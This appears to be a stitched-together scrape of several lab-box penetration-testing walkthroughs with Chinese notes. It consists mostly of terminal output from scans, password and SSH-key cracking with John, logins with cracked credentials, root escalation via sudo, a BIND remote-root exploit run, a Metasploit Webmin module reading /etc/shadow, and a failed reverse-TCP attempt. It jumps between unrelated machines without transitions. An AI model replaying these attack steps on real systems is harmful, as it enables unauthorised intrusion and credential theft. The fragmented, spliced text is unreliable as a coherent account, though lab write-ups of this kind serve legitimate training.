root@kali:~# nmap -sn -v 192.168.142.0/24 Nmap scan report for 192.168.142.132 Host is up (0.00015s latency). MAC Address: 00:0C:29:0A:54:68 (VMware)
1 2 3 4 5 6 7 8 9 10 11
root@kali:~# nmap -sV -Pn -p- -v 192.168.142.132 PORT STATE SERVICE VERSION 21/tcp open ftp 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99) 25/tcp open smtp Sendmail 53/tcp open domain ISC BIND 8.2.2-REL 80/tcp open http Apache httpd 1.3.31 ((Unix)) 587/tcp open smtp Sendmail 631/tcp open ipp CUPS 1.1 3306/tcp open mysql MySQL (unauthorized) 10000/tcp open http MiniServ 0.01 (Webmin httpd)
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt /root/goastshadow Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bobby (jpelman) kokomo (jblow) guest (guest) gaping (goatse) 4g 0:00:00:49 DONE (2019-12-18 21:35) 0.08014g/s 282509p/s 320894c/s 320894C/s !!!0mc3t..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed
使用其中一个用户goatse登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~# ssh goatse@192.168.142.132 The authenticity of host '192.168.142.132 (192.168.142.132)' can't be established. RSA key fingerprint is SHA256:25uPigwKnzugpFkHd91FCdBukcikll8dkH4oV7OQROY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.142.132' (RSA) to the list of known hosts. goatse@192.168.142.132's password: Linux 2.6.15. goatse@slax:~$ id uid=1002(goatse) gid=10(wheel) groups=10(wheel) goatse@slax:~$ whoami goatse goatse@slax:~$ pwd /home/goatse goatse@slax:~$
提权1
1 2 3 4 5 6 7 8
goatse@slax:~$ uname -a Linux slax 2.6.15 #1 SMP Tue Jan 10 07:53:57 GMT 2006 i686 unknown unknown GNU/Linux goatse@slax:~$ sudo -s Password: root@slax:~# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) root@slax:~# whoami root
goatse@slax:~$ gcc 282.c -o bind 282.c:565:28: warning: no newline at end of file goatse@slax:~$ ls 282.c* bind* test.sh* oatse@slax:~$ ./bind 127.0.0.1 [*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix [*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net
[*] attacking 127.0.0.1 (127.0.0.1) [d] HEADER is 12 long [d] infoleak_qry was 476 long [*] iquery resp len = 719 [d] argevdisp1 = 080d7cd0, argevdisp2 = b7daea64 [*] retrieved stack offset = bfc2a8f8 [d] evil_query(buff, bfc2a8f8) [d] shellcode is 134 long [d] olb = 248 [x] could not write our data in buffer (offset0=56, rroffsetidx=4) [x] error sending tsig packet
root@kali:~# nmap -sn -v 192.168.33.0/24 Nmap scan report for localhost (192.168.33.3) Host is up (0.00020s latency). MAC Address: 00:0C:29:5E:18:C9 (VMware)
root@kali:~# nmap -sT -Pn -n -vv 192.168.33.3 -p- -sC --script=vuln PORT STATE SERVICE REASON 22/tcp open ssh syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) 80/tcp open http syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6' | /index/: Potentially interesting folder |_ /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6' |_http-jsonp-detection: Couldn't find any JSONP endpoints. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-trace: TRACE is enabled | Headers: | Date: Sun, 29 Dec 2019 08:21:03 GMT | Server: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 | Connection: close | Transfer-Encoding: chunked |_Content-Type: message/http |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php 139/tcp open netbios-ssn syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) 445/tcp open microsoft-ds syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) 10000/tcp open snet-sensor-mgmt syn-ack |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-vuln-cve2006-3392: | VULNERABLE: | Webmin File Disclosure | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2006-3392 | Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML. | This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences | to bypass the removal of "../" directory traversal sequences. | | Disclosure date: 2006-06-29 | References: | http://www.exploit-db.com/exploits/1997/ | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392 |_ http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
root@kali:~# john shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status h4ckm3 (vmware) 1g 0:00:03:57 DONE (2019-12-31 03:46) 0.004212g/s 59396p/s 269590c/s 269590C/s !!!0mc3t..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:~# john --show shadow.txt vmware:h4ckm3
1 password hash cracked, 4 left
得到用户名和密码:vmware/h4ckm3
getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~# ssh vmware@192.168.33.3 The authenticity of host '192.168.33.3 (192.168.33.3)' can't be established. RSA key fingerprint is SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZGd6qoR9w. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.33.3' (RSA) to the list of known hosts. vmware@192.168.33.3's password: Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 20 14:35:37 2008 vmware@ubuntuvm:~$ id uid=1000(vmware) gid=1000(vmware) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),111(lpadmin),112(admin),1000(vmware) vmware@ubuntuvm:~$ whoami vmware
提权
phpmyadmin里面的config.inc.php文件没有发现任何有价值的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address $cfg['Servers'][$i]['port'] = ''; // MySQL port - leave blank for default port $cfg['Servers'][$i]['socket'] = ''; // Path to the socket - leave blank for default socket $cfg['Servers'][$i]['connect_type'] = 'tcp'; // How to connect to MySQL server ('tcp' or 'socket') $cfg['Servers'][$i]['extension'] = 'mysql'; // The php MySQL extension to use ('mysql' or 'mysqli') $cfg['Servers'][$i]['compress'] = FALSE; // Use compressed protocol for the MySQL connection // (requires PHP >= 4.3.0) $cfg['Servers'][$i]['controluser'] = ''; // MySQL control user settings // (this user must have read-only $cfg['Servers'][$i]['controlpass'] = ''; // access to the "mysql/user" // and "mysql/db" tables). // The controluser is also // used for all relational // features (pmadb) $cfg['Servers'][$i]['auth_type'] = 'http'; // Authentication method (config, http or cookie based)? $cfg['Servers'][$i]['user'] = 'root'; // MySQL user $cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed
www-data@traverxec:/var/nostromo/conf$ ls ls mimes nhttpd.conf www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf cat nhttpd.conf # MAIN [MANDATORY]
www-data@traverxec:/var/nostromo/conf$ cd /home/david/public_www/protected-file-area <conf$ cd /home/david/public_www/protected-file-area www-data@traverxec:/home/david/public_www/protected-file-area$ ls ls backup-ssh-identity-files.tgz
root@kali:~/vulnhub/Traverxec# tar -xvf backup.tgz home/david/.ssh/ home/david/.ssh/authorized_keys home/david/.ssh/id_rsa home/david/.ssh/id_rsa.pub root@kali:~/vulnhub/Traverxec# ls backup.tgz exploit.py home
发现归档文件包含SSH密钥,其中可以使用私有密钥id_rsa作为david用户登录。
1 2 3 4 5 6
root@kali:~/vulnhub/Traverxec/home/david/.ssh# ssh -i id_rsa david@10.10.10.165 The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established. ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts. Enter passphrase for key 'id_rsa':
root@kali:~/vulnhub/Traverxec/home/david/.ssh# python3 /usr/share/john/ssh2john.py id_rsa > hash.txt /usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes() data = base64.decodestring(data) root@kali:~/vulnhub/Traverxec/home/david/.ssh# ls authorized_keys hash.txt id_rsa id_rsa.pub root@kali:~/vulnhub/Traverxec/home/david/.ssh# cat hash.txt id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
接下来,使用john和rockyou.txt字典破解它。
1 2 3 4 5 6 7 8 9 10 11 12 13
root@kali:~/vulnhub/Traverxec/home/david/.ssh# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status hunter (id_rsa) Warning: Only 2 candidates left, minimum 4 needed for performance. 1g 0:00:00:09 DONE (2020-04-21 23:13) 0.1097g/s 1574Kp/s 1574Kc/s 1574KC/sa6_123..*7¡Vamos! Session completed
显示hunter为密码,使用它来SSH的连接到box。
1 2 3 4 5 6 7 8 9 10 11 12
root@kali:~/vulnhub/Traverxec/home/david/.ssh# ssh -i id_rsa david@10.10.10.165 Enter passphrase for key 'id_rsa': Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 Last login: Tue Apr 21 19:57:32 2020 from 10.10.15.14 david@traverxec:~$ id uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) david@traverxec:~$ whoami david david@traverxec:~$ ls bin public_www user.txt david@traverxec:~$ cat user.txt 7db0b48469606a42cec20750d9782f3d
C:\Users\HASEE>nmap -p- -v -sV 192.168.56.124 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.7.0-P1 80/tcp open http Apache httpd 2.2.14 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell Netkit rshd 901/tcp open http Samba SWAT administration server 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d 2000/tcp open sieve Dovecot timsieved 2049/tcp open nfs 2-4 (RPC #100003) 3306/tcp open mysql MySQL 5.1.73-0ubuntu0.10.04.1 3632/tcp open tcpwrapped 6667/tcp open irc IRCnet ircd 8070/tcp open ucs-isc? 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 10000/tcp open http MiniServ 0.01 (Webmin httpd) 33370/tcp open mountd 1-3 (RPC #100005) 56041/tcp open status 1 (RPC #100024) 56144/tcp open nlockmgr 1-4 (RPC #100021)
1 2 3
root@kali:~# nmap -T4 -p 3632 -v 192.168.56.124 PORT STATE SERVICE 3632/tcp open distccd
[*] Started reverse TCP double handler on 192.168.56.102:3456 [-] 192.168.56.124:3632 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer [*] Exploit completed, but no session was created.
root@kali:~/vulnhub/vulnos-1# john pass --wordlist=/root/vulnhub/vulnos-1/wordlist Using default input encoding: UTF-8 Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 44 candidates left, minimum 1024 needed for performance. canuhack (nagiosadmin) 1g 0:00:00:00 DONE (2020-04-17 03:25) 100.0g/s 4400p/s 4400c/s 4400C/s root..canuhack Use the "--show" option to display all of the cracked passwords reliably Session completed
Name Current Setting Required Description ---- --------------- -------- ----------- DIR /unauthenticated yes Webmin directory path Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.56.124 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPATH /etc/shadow yes The file to download RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host
Auxiliary action:
Name Description ---- ----------- Download
msf5 auxiliary(admin/webmin/file_disclosure) > run [*] Running module against 192.168.56.124
root@kali:~/vulnhub/vulnos-1# cat pass2 vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/root@kali:~/vulnhub/vulnos-1# john pass2 --wordlist=/root/vulnhub/vulnos-1/wordlist Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status canuhackme (vulnosadmin) 1g 0:00:00:00 DONE (2020-04-17 03:52) 50.00g/s 2200p/s 2200c/s 2200C/s root..canuhackme Use the "--show" option to display all of the cracked passwords reliably Session completed
root@kali:~# ssh vulnosadmin@192.168.56.124 Enter passphrase for key '/root/.ssh/id_rsa': vulnosadmin@192.168.56.124's password: Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux Ubuntu 10.04.4 LTS Welcome to Ubuntu! * Documentation: https://help.ubuntu.com/ System information as of Fri Apr 17 09:55:15 CEST 2020 System load: 0.0 Processes: 141 Usage of /: 16.3% of 23.06GB Users logged in: 0 Memory usage: 38% IP address for eth0: 192.168.56.124 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ New release 'precise' available. Run 'do-release-upgrade' to upgrade to it. Last login: Wed Mar 19 17:31:44 2014 from 192.168.1.3 vulnosadmin@VulnOS:~$ id uid=1000(vulnosadmin) gid=1000(vulnosadmin) groepen=4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1000(vulnosadmin) vulnosadmin@VulnOS:~$ whoami vulnosadmin vulnosadmin@VulnOS:~$ sudo -l [sudo] password for vulnosadmin: Matching Defaults entries for vulnosadmin on this host: env_reset User vulnosadmin may run the following commands on this host: (ALL) ALL vulnosadmin@VulnOS:~$ su Wachtwoord: su: Authenticatie fout vulnosadmin@VulnOS:~$ sudo su root@VulnOS:/home/vulnosadmin# id uid=0(root) gid=0(root) groepen=0(root) root@VulnOS:/home/vulnosadmin# whoami root root@VulnOS:/home/vulnosadmin# cd /root root@VulnOS:~# ls hello.txt root@VulnOS:~# cat hello.txt Hello, So you got root... You still need to find the rest of the vulnerabilities inside the OS ! TRY HARDER !!!!!!!